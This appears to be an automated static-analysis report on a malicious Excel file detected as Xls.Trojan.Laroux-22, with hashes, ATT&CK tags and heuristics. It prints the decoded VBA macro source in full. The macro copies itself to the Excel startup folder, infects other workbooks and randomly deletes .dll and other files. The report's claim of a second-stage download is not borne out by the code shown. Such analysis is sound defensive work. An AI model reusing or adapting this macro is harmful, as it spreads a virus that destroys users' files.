Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 940345033031fc04…

MALICIOUS

Office (OLE)

24.0 KB Created: 1999-02-08 09:24:15 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: b8c3c0026468aec1297af81c4dcc1582 SHA-1: e8d22399adf1a4524b419f6a21ee3cc99859fb5b SHA-256: 940345033031fc0486a96cff484b60677871e30caa7817126e9426b90024697f
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical heuristic firing indicates the presence of a known malicious macro (Xls.Trojan.Laroux-22). The Auto_Open macro is present and attempts to save a file named 'OFFICE_.XLS' to the application startup path, likely to download and execute a second-stage payload. The macro's obfuscated nature and truncated content limit full analysis, but the intent to execute a secondary payload is clear.

Heuristics 2

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4178 bytes
SHA-256: c5065150f0da6d57589d9d69ea7abf8b7d019a75e64b9814ffec3d4ef29643ba
Detection
ClamAV: Xls.Trojan.Laroux-22
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Majoduck_SK_1"



Rem                   Macro Majoduck_SK_1 ,Made in Slovakia
Rem                   -----------------------------------
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    On Error GoTo EndCode
    Application.OnSheetActivate = "Office_menu"
EndCode: End Sub
Sub Office_menu()
Attribute Office_menu.VB_ProcData.VB_Invoke_Func = " \n14"
    On Error GoTo ActiveCode100
    ActivateCodePaswordCodeNameOfficeApplicationScenarioPivotTableHyperlinkMailerStyles$ = Application.StartupPath
NowSystemModuleSelectFrameVisableOffice$ = Dir(ActivateCodePaswordCodeNameOfficeApplicationScenarioPivotTableHyperlinkMailerStyles$ & "\" & "OFFICE_.XLS")
    If NowSystemModuleSelectFrameVisableOffice$ = "OFFICE_.XLS" Then RunNextNameSelectLineFormatTableStripCommandBarButton = 1 Else RunNextNameSelectLineFormatTableStripCommandBarButton = 0
 If ActiveWorkbook.Modules.Count > 0 Then ForWorkbookFilesCodeNameDocumentSelectedApplicationWorksheetFunction = 1 Else
 WhichFileOfficePaswordCodeReadDataObjectStartDrangStateWindowSmallScroll = RunNextNameSelectLineFormatTableStripCommandBarButton + ForWorkbookFilesCodeNameDocumentSelectedApplicationWorksheetFunction * 10
   Select Case WhichFileOfficePaswordCodeReadDataObjectStartDrangStateWindowSmallScroll
    Case 10
ActiveWorkbookNameApplicationEvaluateSaveAsNarmalModulSelectEndConnect$ = ActiveWorkbook.Name
   Sheets("Majoduck_SK_1").Visible = True
   Sheets("Majoduck_SK_1").Select: Sheets("Majoduck_SK_1").Copy
   NewnameWorkbooksPaswordNameThisframesCopyNextApplicationWindowsLineFormat$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
   Workbooks(NewnameWorkbooksPaswordNameThisframesCopyNextApplicationWindowsLineFormat$).SaveAs FileName:=Application.StartupPath & "/" & "OFFICE_.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, CreateBackup:=False
   Workbooks(ActiveWorkbookNameApplicationEvaluateSaveAsNarmalModulSelectEndConnect$).Sheets("Majoduck_SK").Visible = False
                                              Case 1
   EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$ = ActiveWorkbook.Name
PrintInputGetNextActiveteNormalWindowsNamesSelectNowVisablefortCode159wle45FF05$ = Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets(1).Name
   If PrintInputGetNextActiveteNormalWindowsNamesSelectNowVisablefortCode159wle45FF05$ <> "Majoduck_SK_1" Then
        Workbooks("OFFICE_.XLS").Sheets("Majoduck_SK_1").Copy Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets(1)
Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets("Majoduck_SK_1").Visible = False
 CodeForGosubThen = Int(Rnd(1) * 11 + 1): If CodeForGosubThen >= 8 Then ActiveWorkbook.Save Else
    Else
                                       End If
 Case Else
On Error GoTo ActiveCode100
   If Windows("OFFICE_.XLS").Visible = True Then Windows("OFFICE_.XLS").Visible = False
CodeForGotoNowThen = Int(Rnd(1) * 301 + 1)
ActiveCode20: If CodeForGotoNowThen = 7 Or CodeForGotoNowThen = 11 Then ActiveSheet.ChartObjects.Select: Selection.Delete:
   CtiveCellFormulaR1C1ThenGosub123$ = MakePathCompileas123ThenGoto112456$: If CodeForGotoNowThen > 297 Then Kill "*.hlp"
   CtiveCellFormulaR1C1ThenGosub1r78$ = MakePathCompileas2358ThenGoto112456$:  If CodeForGotoNowThen = 77 Then Kill "*.b*"
   CtiveCellFormulaR1C1ThenGosub4520$ = MakePathCompileas698ThenGoto162498$: If CodeForGotoNowThen = 3 Or CodeForGotoNowThen = 1 Then Kill "*.c*"
   CtiveCellFormulaR1C1ThenGosub123rt$ = MakePathCompileas123ThenGoto112456$: If CodeForGotoNowThen <= 6 Then Kill "*.dll"
ActiveCode100:                    End Select
   Rem     Macro Majoduck_SK_1 ,Made in Slovakia
   Rem     Soft by *** Drake *** for Microsoft
   End Sub


Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
... (truncated)

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